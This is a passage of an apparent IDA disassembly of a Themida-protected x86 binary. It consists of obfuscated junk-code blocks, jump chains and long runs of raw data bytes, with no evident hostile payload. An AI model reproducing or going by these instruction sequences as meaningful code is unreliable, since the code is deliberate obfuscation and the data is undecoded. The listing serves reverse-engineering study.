loc_5E6C88:				; CODE XREF: Themida_:005E0A88j
		xchg	edx, [esp]
		pop	esp
		pop	edi
		push	dword ptr [esp]
		jmp	loc_5DDDD2
; ---------------------------------------------------------------------------
		db 5Fh,	51h, 0B9h
		dd 3C20678Ch, 0FFE788E9h, 240C31FFh, 5C240C33h,	9C2424D2h
		dd 0FF6F0DE9h, 2BA52FFh, 1000000h, 34335AD6h, 24343124h
		dd 0E9243433h, 0FFFFF5BDh, 0C5815D54h, 4, 4ED81h, 0BCE90000h
		dd 0B8FFFFC5h, 3D4E6304h, 5758C331h, 1602E3BFh,	0B4F78108h
		dd 0F7046A03h, 0A476E9DFh, 5456FFFFh, 8124348Bh, 4C4h
		dd 4C68100h, 83000000h,	348704C6h, 24248B24h, 4C681h, 0BF570000h
		dd 4, 0FF902AE9h, 47DFBFFFh, 78E92BAEh,	2DFFFFA3h, 6F7E36D0h
		dd 2404875Bh, 0FFF0B8E9h, 10B850FFh, 13E1F05h, 32E958C2h
		dd 89FFFF79h, 48E959CAh, 81FFFF7Eh, 252D2EEBh, 24148B1Ah
		dd 4C481h, 0EB810000h, 470C1908h, 0FF8402E9h, 24048BFFh
		dd 0FFB44DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E6D71:				; CODE XREF: Themida_:005DF0F8j
		add	esp, 4
		push	dword ptr [esp]
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		jmp	loc_5E6201
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 8951240Ch, 861EE9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E6DA6:				; CODE XREF: Themida_:005DF65Dj
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		inc	esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1FDB010Dh
		neg	ebp
		xor	ebp, 5993927h
		xor	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		jmp	loc_5E52F6
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 83000000h, 0C8704E9h, 0B4E95C24h
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E6DEF:				; CODE XREF: Themida_:005E5616j
		mov	eax, 0D736EF57h
		add	ecx, eax
		jmp	loc_5DE8B3
; ---------------------------------------------------------------------------
		db 83h
		dd 0A8E904C4h, 83FFFFDAh, 48704C0h, 52535C24h, 0FFDF24E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E6E11:				; CODE XREF: Themida_:005E3BBDj
		push	811h
		jmp	loc_5E86B0
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FFC901E9h, 2EDC0FFh, 806BF580h, 0DFE908E5h,	89FFFFA4h
		dd 0BF24E9E7h, 0D989FFFFh, 81241C8Bh, 4C4h, 19B7E900h
		dd 0BE560000h, 0
		dd 7870C681h, 0CE296E6Ch, 7870EE81h, 0F1876E6Ch, 8124348Bh
		dd 4C4h, 0E9814900h, 815CDA5Bh,	0E959CF01h, 1584h
; ---------------------------------------------------------------------------


loc_5E6E74:				; CODE XREF: Themida_:005DEF1Dj
		shr	ebx, 2
		jmp	loc_5E38FB
; ---------------------------------------------------------------------------
		dd 0D7168h, 24248900h, 4BA52h, 54010000h, 8F5A0424h, 4832404h
		dd 24E90424h, 81FFFF72h, 4C5h, 0C0BAE900h, 2486FFFFh, 0B0686624h
		dd 4896619h, 88536624h,	24448AC7h, 247C8803h, 1C8B6603h
		dd 2C48124h, 0F6000000h, 1423E9D0h, 34890000h, 52E68924h
		dd 4CA0BE56h, 0E6C134A7h, 1BF68106h, 0C171FD5Eh, 0C14602EEh
		dd 0C68105EEh, 0FF4FA318h, 15EF289h, 89525AD6h,	4C281E2h
		dd 0E9000000h, 0FFFF8C0Ch, 322068h, 91CCE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E6F0E:				; CODE XREF: Themida_:005E7CF8j
		mov	[esp], eax
		mov	al, 42h
		xor	al, 9Eh
		jmp	loc_5E0F7D
; ---------------------------------------------------------------------------


loc_5E6F1A:				; CODE XREF: Themida_:005DF2A1j
		pop	ecx
		pop	edx
		push	ecx
		mov	ecx, 38h
		jmp	loc_5E3E5F
; ---------------------------------------------------------------------------


loc_5E6F27:				; CODE XREF: Themida_:005DE8A2j
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5E0995
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 0Fh
		dd 9C2404A3h, 0FFED54E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E6F3D:				; CODE XREF: Themida_:005E3408j
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5E2B74
; ---------------------------------------------------------------------------


loc_5E6F48:				; CODE XREF: Themida_:005E4154j
		mov	ebx, 3DA45A94h
		jmp	loc_5E1C46
; ---------------------------------------------------------------------------


loc_5E6F52:				; CODE XREF: Themida_:005E964Aj
		push	esp
		jmp	loc_5E09AA
; ---------------------------------------------------------------------------
		dd 0E9242C87h, 2812h
; ---------------------------------------------------------------------------


loc_5E6F60:				; CODE XREF: Themida_:005E42D2j
		xor	eax, ebx
		push	7206h
		mov	[esp], esi
		push	ebx
		jmp	loc_5E5FB8
; ---------------------------------------------------------------------------
		dd 4244481h, 23E91D55h,	4244401h, 4246C81h, 23E91D55h
		dd 2434FF58h, 0E289525Eh, 4C281h, 8AE90000h, 29FFFFF5h
		dd 0FBE9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E6F9E:				; CODE XREF: Themida_:005E528Cj
		sub	ebx, edx
		pop	edx
		jmp	loc_5E3487
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 240C8B24h, 4C481h, 54570000h, 8F68535Fh, 5B1D242Ah
		dd 0E905EBC1h, 0FFFFBDB9h, 24305866h, 24243224h, 0E9242430h
		dd 0FFFF6BEAh, 0C4A17BFh, 6CF8170h, 8164242Fh, 9E2C30EFh
		dd 0F2AAE925h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E6FEA:				; CODE XREF: Themida_:005E24A4j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5E8AFC
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aH1		db '$h\1',0
		align 2
aIIchv		db '<$h=',0
		align 4
		dd 56240C89h, 0FFDF21E9h, 0FFF021FFh, 685E2434h, 7405h
		dd 0FFF4CEE9h, 243C87FFh, 0FF78BFE9h, 730566FFh, 2056603h
		dd 25C7E926h, 0AEBA0000h, 1370203h, 53585AD6h, 4E6549BBh
		dd 0DBF74371h, 8103E3C1h, 6B0A2FEBh, 0FACB8177h, 0E95FE122h
		dd 0FFFFA3B7h, 24048B66h, 9981E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E7066:				; CODE XREF: Themida_:005E6B44j
		add	ecx, 0D771A061h
		add	edi, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5DFDF3
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 5D54242Ch, 4C581h, 0BA520000h, 4, 0FFBE79E9h, 2434FFFFh
		dd 4C4835Dh, 3E77BA52h,	0C281512Ch, 2EC1105Ch, 815AD329h
		dd 661588EBh, 8F6606h, 0FF6B01E9h, 6E9C1FFh, 4EC81h, 1C890000h
		dd 4EC8324h, 0E9243489h, 0FFFFD6D8h, 432455B9h,	5FF9299Fh
		dd 1748E181h, 0E9811148h, 622207C5h, 0E981D1F7h, 26B064DDh
		dd 0FFF176E9h, 7AB151FFh, 2552E9h, 0E7895700h, 0FF8C6CE9h
		dd 2C77FFFFh, 0FF6AB1E9h, 4EC81FFh, 89000000h, 74FF240Ch
		dd 0E9590424h, 0B9Ah, 7101A068h, 0F3815B0Fh, 72120178h
		dd 0D6EB81h, 0FFE97D63h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E7137:				; CODE XREF: Themida_:005E5718j
		push	4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5E945B
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0C8B60F24h, 478A68h,	243C8900h, 0C7815F54h, 4, 8904EC83h
		dd 0BE56242Ch, 0EE81075h, 0E906EEC1h, 132Dh
; ---------------------------------------------------------------------------


loc_5E7174:				; CODE XREF: Themida_:005E42E4j
		push	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_5E611E
; ---------------------------------------------------------------------------
aXaiIS		db 'XЈ',8,0
		db 0
; ---------------------------------------------------------------------------


loc_5E7189:				; CODE XREF: Themida_:005E791Fj
		inc	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, 78DA72FBh
		sub	ecx, 0FFFFFFFFh
		shr	ecx, 8
		xor	ecx, 4A609423h
		jmp	loc_5E1A1E
; ---------------------------------------------------------------------------


loc_5E71A4:				; CODE XREF: Themida_:005E804Cj
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5E13E6
; ---------------------------------------------------------------------------
		dd 4BFh, 0E9F90100h, 0FFFFC276h, 0F331C325h, 2E752557h
		dd 13E9195Bh, 57000006h, 42474FFh, 0FFF238E9h, 31E951FFh
		dd 59000029h, 0C380C300h, 6FE950C6h, 5FFFFFEEh,	8107E6C1h
		dd 0E85E82C6h, 27EB8169h, 1585D4Fh, 27C381F3h, 5E585D4Fh
		dd 0FF7273E9h, 1D2C05FFh, 0E94830F9h, 3B4h, 0D4C48BEh
		dd 2474012Dh, 4815E04h,	5247F624h, 24040101h, 0FF94ECE9h
		dd 2434FFFFh, 592434FFh, 4A2868h, 24348900h, 0C6815E54h
		dd 4, 4C681h, 30E90000h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E7253:				; CODE XREF: Themida_:005E6453j
		mov	[esp], esi
		push	10h
		mov	esi, [esp]
		jmp	loc_5E49F9
; ---------------------------------------------------------------------------
		db 81h
		dd 0DD3246E5h, 0A66CE917h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E726E:				; CODE XREF: Themida_:005DFA3Dj
		mov	[esp], edx
		mov	dl, 0D1h
		push	472Ah
		mov	[esp], ecx
		push	eax
		mov	al, 0C6h
		shl	al, 5
		shl	al, 8
		dec	al
		add	al, 0BFh
		inc	al
		add	al, 34h
		mov	cl, 0F4h
		jmp	loc_5E7CEA
; ---------------------------------------------------------------------------
		db 83h
		dd 0AEE904C4h, 5AFFFFE1h, 4C481h, 0DCE90000h, 89FFFF6Eh
		dd 80AAE9E7h, 0CB68FFFFh, 89000048h, 0EF682404h, 58384D71h
		dd 88310E05h, 0E9D0F704h, 0FFFF7352h, 0F5BF5756h, 0E9788E2Dh
		dd 0FFFF811Dh
; ---------------------------------------------------------------------------


loc_5E72D4:				; CODE XREF: Themida_:005E9CB1j
		add	esp, 4
		pop	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		push	esi
		mov	esi, 4
		jmp	loc_5E12F2
; ---------------------------------------------------------------------------
		dd 7B15CA81h, 1FE91881h, 53FFFF91h, 3CDCBD55h, 7EE95A4Fh
		dd 66FFFFEDh, 9C241CF7h, 0FF68A5E9h, 665266FFh,	22474FFh
		dd 24148B66h, 2066E9h, 0B8C98100h, 816D6138h, 47BC1C9h
		dd 0C0839157h, 0E9819101h, 615341FEh, 0C8BC801h, 4C48324h
		dd 8324148Bh, 236804C4h, 89000005h, 0E189240Ch,	4C181h
		dd 0BB530000h, 4, 515BD929h, 42474FFh, 83240C8Bh, 48F04C4h
		dd 0C895C24h, 429F6824h, 0E9596398h, 0FFFFAC7Dh, 24048B66h
		dd 682A6856h, 24890000h, 24048324h, 0C6815E04h,	4, 45685150h
		dd 59701E3Ch, 5603F181h, 0E1C14CE9h, 32F18103h,	83E7BB52h
		dd 0C8904ECh, 242C8124h, 42E2030Dh, 0FFDB62E9h,	24048BFFh
		dd 0FF6DC0E9h, 0E95259FFh, 1939h, 68D830ACh, 2C99h, 83241C89h
		dd 148904ECh, 0F5BBE924h, 0AB8FFFFh, 0E94D010Dh, 42Eh
		dd 4245429h, 4244481h, 0FC3AC5h, 1F4E9h, 241C8B00h, 259CE9h
		dd 24248B00h, 240C8B66h, 53595451h, 727FCABBh, 3AC3810Dh
		dd 1F28D80h, 241C8BD9h,	5304C483h, 437DB951h, 0D1F77F39h
		dd 0CBE9E9D1h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E743B:				; CODE XREF: Themida_:005E79B1j
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ebx, eax
		pop	eax
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_5E14D5
; ---------------------------------------------------------------------------


loc_5E7453:				; CODE XREF: Themida_:005E1DFBj
		xor	ecx, 38D3B4BFh
		push	ecx
		pop	edx
		jmp	loc_5E85AB
; ---------------------------------------------------------------------------


loc_5E7460:				; CODE XREF: Themida_:005E135Dj
		xor	ecx, edi
		xor	edi, ecx
		jmp	loc_5E3FA1
; ---------------------------------------------------------------------------


loc_5E7469:				; CODE XREF: Themida_:005E1152j
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5DDC7C
; ---------------------------------------------------------------------------


loc_5E747B:				; CODE XREF: Themida_:005E8A3Ej
		shr	esi, 8
		jmp	loc_5E09DE
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 5820BD55h, 6C2948E0h, 15D0824h, 0E904244Ch, 0FFFFA13Dh
		dd 220EE9ACh, 34890000h, 7F6BE24h, 0F029416Eh, 8324348Bh
		dd 0D82904C4h, 0E8685053h, 8B7E2F39h, 0C4832404h, 0EA9A2D04h
		dd 0E95229FFh, 17A6h, 4B9h, 59C80100h, 2BA52h, 0D0010000h
		dd 0FFD040E9h, 72452DFFh, 0C5897022h, 8124048Bh, 4C4h
		dd 28DAE900h, 0F9010000h, 1799C181h, 49E97A7Fh,	8BFFFFD4h
		dd 0C481240Ch, 4, 8155C380h, 2ECh, 1642E900h, 4810000h
		dd 424h, 323E900h, 0C4810000h, 4, 8B24048Fh, 89662424h
		dd 0F66240Ch, 0CE9C8B6h, 4FFFF67h, 2CF828F9h, 11C3E9F9h
		dd 24890000h, 9D20E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E7552:				; CODE XREF: Themida_:005E1BA7j
		push	5F7Eh
		mov	[esp], edx
		mov	edx, 64280341h
		shl	edx, 3
		neg	edx
		sub	edx, 0FFFFFFFFh
		xor	edx, 0DEBF65F9h
		mov	ecx, edx
		pop	edx
		and	eax, ecx
		jmp	loc_5DE985
; ---------------------------------------------------------------------------


loc_5E7577:				; CODE XREF: Themida_:005E9080j
		mov	[esp], esi
		jmp	loc_5E922A
; ---------------------------------------------------------------------------
		db 81h
		dd 0D314A9E2h, 25C2812Eh, 9508158h, 0BD555AD6h,	1, 54E9EE29h
		dd 0B9FFFFA6h, 5F4E375Ah, 1E8CE9h, 5E545600h, 0FFC8CDE9h
		dd 58C530FFh, 0C380D6B3h, 80EB00C0h, 33E9C0EBh,	89FFFFE3h
		dd 6CBD55E2h, 0E96C811Eh, 0FFFFBA9Ah, 0CB6AE52Dh, 0D5863505h
		dd 0D0E94A28h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E75DB:				; CODE XREF: Themida_:005E406Cj
		shr	ecx, 1
		push	ebp
		jmp	loc_5E4C81
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FF042474h, 835E2434h, 48F04C4h, 24248B24h, 0FF8D48E9h
		dd 24148BFFh, 4C481h, 0C8B0000h, 4C48324h, 7171E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E760E:				; CODE XREF: Themida_:005E5B91j
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_5E114F
; ---------------------------------------------------------------------------
		dd 89242C89h, 0F1E957E5h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E7627:				; CODE XREF: Themida_:005E14D6j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_5E674E
; ---------------------------------------------------------------------------
		db 5
		dd 0C0038422h, 0D8E9C701h, 89FFFF77h, 4C181E1h,	0E9000000h
		dd 0FFFFA205h, 788668h,	243C8900h, 18389CBFh, 5FFB8942h
		dd 0E958C331h, 12D3h, 5FEBBA52h, 0E94244D3h, 0FFFF8743h
; ---------------------------------------------------------------------------


loc_5E7670:				; CODE XREF: Themida_:005E5C80j
		add	ebp, 7E9E094Fh
		xor	eax, ebp
		pop	ebp
		jmp	loc_5E4783
; ---------------------------------------------------------------------------
		dw 3BE9h
		dd 52FFFF65h, 439E9h, 29DEBB00h, 0D92930BAh, 0F7EE815Bh
		dd 13EF556h, 0F7C681CEh, 0E93EF556h, 1A3Eh, 0A4A1ED81h
		dd 0EA01130Fh, 79EBE95Dh, 835BFFFFh, 343304C6h,	24343124h
		dd 5C243433h, 0FFCA06E9h, 241487FFh, 240C895Ch,	0D17E97B9h
		dd 0B951502Ch, 2DEF6188h, 0E981D9F7h, 53084710h, 0C159C889h
		dd 903507E0h, 31BD44C8h, 0E98158C1h, 15BE0203h,	0FFE906E9h
		dd 5FFD01FFh, 5C242C87h, 4C481h, 4310000h, 0AFE99C24h
		dd 8BFFFF64h, 0FA68240Ch, 8900004Bh, 0E589242Ch, 0FFA8A0E9h
		dd 438225FFh, 82054A8Fh, 1BF76FCh, 0E328E9C7h, 2168FFFFh
		dd 8900001Eh, 89B9240Ch, 0F7337A01h, 0A943E9D9h, 0E955FFFFh
		dd 0FFFFA7ECh, 9D1C77FFh, 14D25966h, 0CEE99C24h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E775B:				; CODE XREF: Themida_:005DFDF6j
		xor	[esp], esi
		jmp	loc_5DFF8B
; ---------------------------------------------------------------------------
		db 89h
		dd 0CE9242Ch
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E776B:				; CODE XREF: Themida_:005E591Dj
		shl	edi, 5
		add	edi, 5A0120D1h
		dec	edi
		and	edi, 76A03D6h
		add	edi, 72A56D40h
		add	ecx, edi
		pop	edi
		add	ecx, edi
		jmp	loc_5DF8A6
; ---------------------------------------------------------------------------
		db 1
		dd 32C681D6h, 8B38FE3Bh, 0C4832414h, 18A9E904h,	0E9510000h
		dd 0FFFFDD74h, 6F75CCB9h, 0F7D9877Ch, 0E9D987D3h, 170Fh
		dd 0E94077FFh, 0FFFF6402h, 0A566A62Dh, 57D82950h, 2089E9h
		dd 4C68100h, 0E9000000h, 0FFFFC5E0h, 67BD5556h,	0C1618F54h
		dd 0EDC102E5h, 0CD1FE908h, 0F635FFFFh, 153DF0Fh, 0ABE958C3h
		dd 66FFFFDAh, 990CE959h, 0DE01FFFFh, 0F4AFE95Bh, 8159FFFFh
		dd 31F28AC1h, 59CE8932h, 8107EEC1h, 464162CEh, 14F75606h
		dd 2434FF24h, 0BEE9E95Eh, 0D8F7FFFFh, 0FFA884E9h, 4EC83FFh
		dd 0BD242C89h, 0D066C1B8h, 2C8BE901h, 4C48324h,	559CD89h
		dd 769E7CB6h, 606E9h, 24048F00h, 4B850h, 44810000h, 53380424h
		dd 44014D38h, 0CAE90424h, 66FFFFBBh, 665DE831h,	0B70FC331h
		dd 96866C0h, 4896660h, 6344E924h, 0C33FFFFh, 240C3124h
		dd 5C240C33h, 8104C483h, 4C6h, 2C68100h, 33000000h, 34312434h
		dd 24343324h, 0FE24248Bh, 0E99C240Ch, 0FFFF6316h, 4C181h
		dd 0C1810000h, 4, 5C240C87h, 0FFB047E9h, 48B66FFh, 2C48324h
		dd 0EC81C328h, 4, 0FFA5B4E9h, 0D830ACFFh, 712368h, 240C8900h
		dd 0FF8175E9h, 62D8E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E78E6:				; CODE XREF: Themida_:005E2B7Aj
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_5E98A0
		push	2689h
		mov	[esp], ebx
		mov	ebx, 1Ch
		add	ebx, edi
		push	eax
		mov	eax, 5F0377C1h
		and	eax, 76977E9Bh
		shr	eax, 4
		shl	eax, 3
		push	eax
		jmp	loc_5E7189
; ---------------------------------------------------------------------------
		dd 0EE94D4Dh, 66FFFF6Ch, 0E9240C8Bh, 0FFFF785Bh, 81240C8Bh
		dd 4C4h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5E9755
; ---------------------------------------------------------------------------
		db 31h,	0F8h, 5Fh
		dd 0C4E95550h, 5FFFFE1h, 0DA0D24D4h, 1D38E9h, 0C9E95100h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E795F:				; CODE XREF: Themida_:005E30FBj
		push	edi
		mov	edi, 60B31BBDh
		neg	edi
		shr	edi, 3
		or	edi, 0E8B5614h
		add	edi, 8771D564h
		add	eax, edi
		pop	edi
		push	ebp
		mov	ebp, eax
		mov	esi, ebp
		pop	ebp
		jmp	loc_5E3F50
; ---------------------------------------------------------------------------


loc_5E7984:				; CODE XREF: Themida_:005E14F8j
		add	ecx, 19CA6EEDh
		push	ebx
		mov	ebx, 41CF79CCh
		or	ebx, 377629EBh
		add	ebx, 0EEC99FC5h
		or	ecx, ebx
		pop	ebx
		and	ecx, 13F56D43h
		xor	ecx, 3B616BA1h
		xor	ecx, 0E8A32EBBh
		jmp	loc_5E743B
; ---------------------------------------------------------------------------
		dw 0C8B8h
		dd 2D349F34h, 0FFFFFFFFh, 22E95253h, 66FFFFB5h,	6824048Bh
		dd 6AECh, 83240489h, 248904ECh,	24048124h, 4, 36E95158h
		dd 29FFFFD8h, 52682404h, 0E900000Ah, 0FFFF75F5h, 49A96668h
		dd 0C2815FE0h, 66D66734h, 6A33EA81h, 0A1E943D0h, 53000021h
		dd 0FFA1F2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E7A11:				; CODE XREF: Themida_:005E57D1j
		mov	ecx, 241331B9h
		jmp	loc_5E14F7
; ---------------------------------------------------------------------------
		db 5Dh
		dd 895EF501h, 7598E9EFh, 0B850FFFFh, 10AC78D1h,	1B53420Dh
		dd 0ADBD557Bh, 29045C5Dh, 0B276E9E8h, 0EE01FFFFh, 74FF565Dh
		dd 348B0424h, 0E0F2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E7A4E:				; CODE XREF: Themida_:005E5147j
		push	eax
		push	4A4Eh
		mov	[esp], ebp
		jmp	loc_5E218D
; ---------------------------------------------------------------------------
		dd 4C7835Eh, 5C243C87h,	78E768h, 24048900h, 24048B54h
		dd 1FC5E9h, 43E95B00h, 55FFFFE2h, 0FFE345E9h, 0F6815EFFh
		dd 2FD2511Ah, 0E95EF389h, 0FFFF8FB7h, 5504C483h, 4BDh
		dd 5DE80100h, 22Dh, 64086800h, 4890000h, 2474FF24h, 7385E904h
		dd 0D7BDFFFFh, 81090002h, 237F8E9h, 8896E979h, 0E289FFFFh
		dd 4C281h, 0E9560000h, 0FFFFC1D7h, 6203A5F3h, 0B7FDE938h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E7ADA:				; CODE XREF: Themida_:005E9902j
		pop	bx
		sub	al, 7Ch
		add	al, dl
		push	ebx
		mov	bl, 0A0h
		jmp	loc_5DF126
; ---------------------------------------------------------------------------
		dd 14234E05h, 807FE978h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E7AF2:				; CODE XREF: Themida_:005E9B6Dj
		or	ebx, 27774D03h
		jmp	loc_5E44C4
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 52000000h, 598E9h, 81C12900h, 32646DC1h, 0C9E9814Ah
		dd 0E944181Ah, 0FFFFA8E5h, 9C2424D3h, 0FF6099E9h, 24248BFFh
		dd 58FE9h, 0CDE95B00h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E7B33:				; CODE XREF: Themida_:005E39BEj
		mov	edx, 575F437Fh
		add	edx, 0DD0251Eh
		sub	edx, esi
		sub	edx, 0DD0251Eh
		jmp	loc_5E5ABF
; ---------------------------------------------------------------------------
		db 66h
		dd 0B5240C89h, 66E8004Ch, 81240C8Bh, 2C4h, 2CD82800h, 681D044Ch
		dd 6959h, 50241C89h, 0E388D7B4h, 8324048Bh, 0C8904ECh
		dd 56E18924h, 0FE0B04BEh, 25E95730h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E7B87:				; CODE XREF: Themida_:005E9AFCj
		mov	esi, [esp]
		push	eax
		jmp	loc_5E9D86
; ---------------------------------------------------------------------------
		dd 27A4FC2Dh, 0CDE5E9DCh, 0C781FFFFh, 60F35011h, 243C3359h
		dd 33243C31h, 248B243Ch, 240C8924h, 0FF6009E9h,	93E950FFh
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E7BBB:				; CODE XREF: Themida_:005E28CEj
		add	esi, 4
		jmp	loc_5E2557
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 5A3568h, 24148900h, 99B95155h, 0E91E922Eh, 1208h
		dd 68E32859h, 4BACh, 0B4240489h, 5E4C067h, 8063C480h, 0E952C0ECh
		dd 88h,	24048B66h, 8904EC83h, 5B54241Ch, 0DEBA5255h, 0E91F512Fh
		dd 0FFFFA1CAh, 0BABAE95Ch, 0F089FFFFh, 0A2EE815Eh, 8146717Fh
		dd 0B02D6AEEh, 6CE9516Dh, 83FFFFF9h, 0EBC104C4h, 1DCB8104h
		dd 68728D3Bh, 3448h, 0E9240C89h, 0FFFFB5BFh, 4B9h, 7DCEE900h
		dd 8B66FFFFh, 0EC83240Ch, 243C8904h, 0BD555F54h, 6887169Bh
		dd 1C581h, 0DDF70000h, 0D0F7954Dh, 98ED8195h, 0E946ED2Bh
		dd 1D33h, 0E9241C89h, 0FFFFFA05h, 0C68022B6h, 44EE80E8h
		dd 0E6C0DEF6h, 96F68006h, 2834EC80h, 34C480F4h,	7F0DE95Ah
		dd 3C8BFFFFh, 4C48124h,	0C1000000h, 0C28106E2h,	72102350h
		dd 0EC73E951h, 48FFFFFh, 29665C24h, 0E99C2404h,	0FFFF5EF6h
; ---------------------------------------------------------------------------


loc_5E7CC8:				; CODE XREF: Themida_:005E8BCDj
		push	9E04B28h
		pop	edx
		jmp	loc_5DF651
; ---------------------------------------------------------------------------
		db 0F7h
		dd 69CEE9D5h, 305BFFFFh, 24048BC2h, 3004C483h, 0C72CE9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E7CEA:				; CODE XREF: Themida_:005E728Ej
		sub	cl, al
		pop	eax
		shl	cl, 5
		xor	cl, 2Fh
		push	4026h
		jmp	loc_5E6F0E
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0EAh
		dd 81693E56h, 4017ABF3h, 15C8E92Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E7D0E:				; CODE XREF: Themida_:005E1E80j
		mov	edx, [esp]
		push	3780h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5E48FB
; ---------------------------------------------------------------------------
		dd 1676ED81h, 0B1E950D0h, 5EFFFFACh, 6E0ABB53h,	0EBC15667h
		dd 0BFCB8105h, 567CA45Bh, 0F731C1BEh, 0F7D6F726h, 2EEC1DEh
		dd 0A7A7F681h, 15E96B49h
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E7D53:				; CODE XREF: Themida_:005E5682j
		mov	edi, 4
		sub	esi, edi
		push	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 4
		add	eax, edx
		jmp	loc_5E9A20
; ---------------------------------------------------------------------------
		dw 0FE00h
		dd 5BC0C680h, 305AF530h, 2434FFE8h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5E44F2
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 2D000000h,	4, 0FF668CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E7DA5:				; CODE XREF: Themida_:005E65CAj
		mov	[esp], esi
		jmp	loc_5E8A32
; ---------------------------------------------------------------------------
		db 51h,	57h, 0E9h
		dd 0FFFFBEE9h, 240C8B66h, 4EC8157h, 89000000h, 4812424h
		dd 424h, 2434FF00h, 0FF9132E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E7DD1:				; CODE XREF: Themida_:005DDBD1j
		mov	bx, [esp]
		jmp	loc_5E1932
; ---------------------------------------------------------------------------


loc_5E7DDA:				; CODE XREF: Themida_:005E6260j
		add	ebx, 4
		push	ebp
		jmp	loc_5E6A75
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 694DE781h, 0D7F74D07h, 0FF8448E9h, 93F480FFh, 0CCFED4F6h
		dd 3030F480h, 7E958E2h,	68FFFF78h, 7965h, 81241489h, 4ECh
		dd 243C8900h, 0F2B7D68h, 0B59AE952h, 74FFFFFFh,	8F5F0424h
		dd 815C2404h, 4C7h, 0BABD5500h,	4D13E45Dh, 0DDF7D5F7h
		dd 5DB8F581h, 0EF8113E4h, 6D875F93h, 6EE9EF01h,	2DFFFFC4h
